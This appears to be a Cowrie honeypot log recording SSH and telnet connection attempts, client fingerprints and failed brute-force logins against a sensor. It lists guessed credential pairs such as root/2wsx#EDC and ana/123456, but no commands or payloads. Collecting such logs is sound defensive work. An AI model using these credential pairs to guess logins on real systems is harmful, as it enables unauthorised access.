{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:18.449130Z","src_ip":"64.62.197.152","session":"4cff7eceacef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09238767623901367,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:18.525790Z","src_ip":"64.62.197.152","session":"4cff7eceacef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.798285722732544,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:18.738576Z","src_ip":"162.253.42.116","session":"5e789b4362e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":58316,"dst_ip":"10.17.0.5","dst_port":23,"session":"f756ed374d7b","protocol":"telnet","message":"New connection: 162.253.42.116:58316 (10.17.0.5:23) [session: f756ed374d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:18.813090Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:19.291358Z","src_ip":"165.154.5.173","session":"fab37711d895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.12520241737366,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:20.388976Z","src_ip":"162.253.42.116","session":"e5fb64cf88f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.431726694107056,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:20.470048Z","src_ip":"162.253.42.116","session":"79e71f77544b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.47888374328613,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:23.662235Z","src_ip":"162.253.42.116","session":"b43fc4cdc867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.05894923210144,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:27.389642Z","src_ip":"162.253.42.116","session":"46d87d23a6f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39238,"dst_ip":"10.17.0.5","dst_port":23,"session":"439f1c8363ce","protocol":"telnet","message":"New connection: 162.253.42.116:39238 (10.17.0.5:23) [session: 439f1c8363ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:28.039108Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":38420,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2f070d956ac","protocol":"telnet","message":"New connection: 162.253.42.116:38420 (10.17.0.5:23) [session: f2f070d956ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:28.266724Z"}
{"eventid":"cowrie.session.closed","duration":34.99522089958191,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:32.255683Z","src_ip":"162.253.42.116","session":"08cacc1c8fe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41516,"dst_ip":"159.203.135.109","dst_port":22,"session":"3838902a3622","protocol":"ssh","message":"New connection: 159.203.92.129:41516 (159.203.135.109:22) [session: 3838902a3622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:33.579040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:33.582725Z","src_ip":"159.203.92.129","session":"3838902a3622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:33.586645Z","src_ip":"159.203.92.129","session":"3838902a3622","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amy","password":"amy","message":"login attempt [amy/amy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:33.597993Z","src_ip":"159.203.92.129","session":"3838902a3622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:34.602906Z","src_ip":"159.203.92.129","session":"3838902a3622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.1856324672699,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:41.228137Z","src_ip":"162.253.42.116","session":"3889b0cba63c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53592,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c3991c8496d","protocol":"telnet","message":"New connection: 162.253.42.116:53592 (10.17.0.5:23) [session: 1c3991c8496d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:42.425400Z"}
{"eventid":"cowrie.session.closed","duration":34.11358141899109,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:43.202076Z","src_ip":"162.253.42.116","session":"8edc4d871899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.80504894256592,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:53.820555Z","src_ip":"162.253.42.116","session":"89005dbe52a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.97152781486511,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:54.784518Z","src_ip":"162.253.42.116","session":"f756ed374d7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":41362,"dst_ip":"10.17.0.5","dst_port":23,"session":"d71fc82ade8b","protocol":"telnet","message":"New connection: 162.253.42.116:41362 (10.17.0.5:23) [session: d71fc82ade8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:58.676613Z"}
{"eventid":"cowrie.session.closed","duration":34.769556760787964,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:02.808574Z","src_ip":"162.253.42.116","session":"439f1c8363ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.6575870513916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:02.924202Z","src_ip":"162.253.42.116","session":"f2f070d956ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59022,"dst_ip":"10.17.0.5","dst_port":22,"session":"e637f616a4ce","protocol":"ssh","message":"New connection: 102.213.34.99:59022 (10.17.0.5:22) [session: e637f616a4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:07.829944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:07.834578Z","src_ip":"102.213.34.99","session":"e637f616a4ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:08.004284Z","src_ip":"102.213.34.99","session":"e637f616a4ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser123","message":"login attempt [vncuser/vncuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:08.715114Z","src_ip":"102.213.34.99","session":"e637f616a4ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:09.888923Z","src_ip":"102.213.34.99","session":"e637f616a4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":45718,"dst_ip":"10.17.0.5","dst_port":22,"session":"935c2bfdbc7d","protocol":"ssh","message":"New connection: 165.154.5.173:45718 (10.17.0.5:22) [session: 935c2bfdbc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:10.977845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:10.981755Z","src_ip":"165.154.5.173","session":"935c2bfdbc7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:11.194945Z","src_ip":"165.154.5.173","session":"935c2bfdbc7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsx#EDC","message":"login attempt [root/2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:12.081873Z","src_ip":"165.154.5.173","session":"935c2bfdbc7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53926,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7cbce0dcd8a","protocol":"telnet","message":"New connection: 162.253.42.116:53926 (10.17.0.5:23) [session: b7cbce0dcd8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:12.848883Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:13.297972Z","src_ip":"165.154.5.173","session":"935c2bfdbc7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46528,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a56fd7a846d","protocol":"ssh","message":"New connection: 159.203.92.129:46528 (159.203.135.109:22) [session: 1a56fd7a846d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:17.393363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:17.398599Z","src_ip":"159.203.92.129","session":"1a56fd7a846d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:17.410181Z","src_ip":"159.203.92.129","session":"1a56fd7a846d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ana","password":"123456","message":"login attempt [ana/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:17.422775Z","src_ip":"159.203.92.129","session":"1a56fd7a846d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:18.430317Z","src_ip":"159.203.92.129","session":"1a56fd7a846d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.154359340667725,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:18.579678Z","src_ip":"162.253.42.116","session":"1c3991c8496d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35412,"dst_ip":"10.17.0.5","dst_port":23,"session":"e60d3f33e7b4","protocol":"telnet","message":"New connection: 162.253.42.116:35412 (10.17.0.5:23) [session: e60d3f33e7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:19.073278Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":41522,"dst_ip":"10.17.0.5","dst_port":23,"session":"9923f6df582c","protocol":"telnet","message":"New connection: 162.253.42.116:41522 (10.17.0.5:23) [session: 9923f6df582c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:24.993374Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":49074,"dst_ip":"10.17.0.5","dst_port":23,"session":"9aef3730ce41","protocol":"telnet","message":"New connection: 194.195.250.213:49074 (10.17.0.5:23) [session: 9aef3730ce41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:26.942357Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40798,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcfde6facc37","protocol":"telnet","message":"New connection: 185.26.126.47:40798 (159.203.135.109:23) [session: fcfde6facc37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:27.113050Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":49088,"dst_ip":"10.17.0.5","dst_port":23,"session":"be728be27b9b","protocol":"telnet","message":"New connection: 194.195.250.213:49088 (10.17.0.5:23) [session: be728be27b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:29.196772Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47634,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f734c8aa3b","protocol":"telnet","message":"New connection: 162.253.42.116:47634 (10.17.0.5:23) [session: 69f734c8aa3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:30.738893Z"}
{"eventid":"cowrie.session.closed","duration":35.99683165550232,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:34.673343Z","src_ip":"162.253.42.116","session":"d71fc82ade8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":48930,"dst_ip":"10.17.0.5","dst_port":23,"session":"83ef3268b624","protocol":"telnet","message":"New connection: 194.195.250.213:48930 (10.17.0.5:23) [session: 83ef3268b624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:35.768480Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59822,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfb595b49504","protocol":"telnet","message":"New connection: 162.253.42.116:59822 (10.17.0.5:23) [session: cfb595b49504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:41.114836Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":41358,"dst_ip":"10.17.0.5","dst_port":23,"session":"d43599af3f42","protocol":"telnet","message":"New connection: 194.195.250.213:41358 (10.17.0.5:23) [session: d43599af3f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:44.730788Z"}
{"eventid":"cowrie.session.closed","duration":32.30424952507019,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:45.153020Z","src_ip":"162.253.42.116","session":"b7cbce0dcd8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":41364,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca3b5aec89f1","protocol":"telnet","message":"New connection: 194.195.250.213:41364 (10.17.0.5:23) [session: ca3b5aec89f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:47.798883Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":45540,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4699ab4a3ed","protocol":"telnet","message":"New connection: 162.253.42.116:45540 (10.17.0.5:23) [session: c4699ab4a3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:52.801574Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":45742,"dst_ip":"10.17.0.5","dst_port":23,"session":"683e919ae45e","protocol":"telnet","message":"New connection: 162.253.42.116:45742 (10.17.0.5:23) [session: 683e919ae45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:52.932172Z"}
{"eventid":"cowrie.session.closed","duration":36.28609538078308,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:55.359251Z","src_ip":"162.253.42.116","session":"e60d3f33e7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36630,"dst_ip":"159.203.135.109","dst_port":22,"session":"03dae8ef3a2d","protocol":"ssh","message":"New connection: 159.203.92.129:36630 (159.203.135.109:22) [session: 03dae8ef3a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:59.670107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:15:59.675054Z","src_ip":"159.203.92.129","session":"03dae8ef3a2d","protocol":"ssh"}
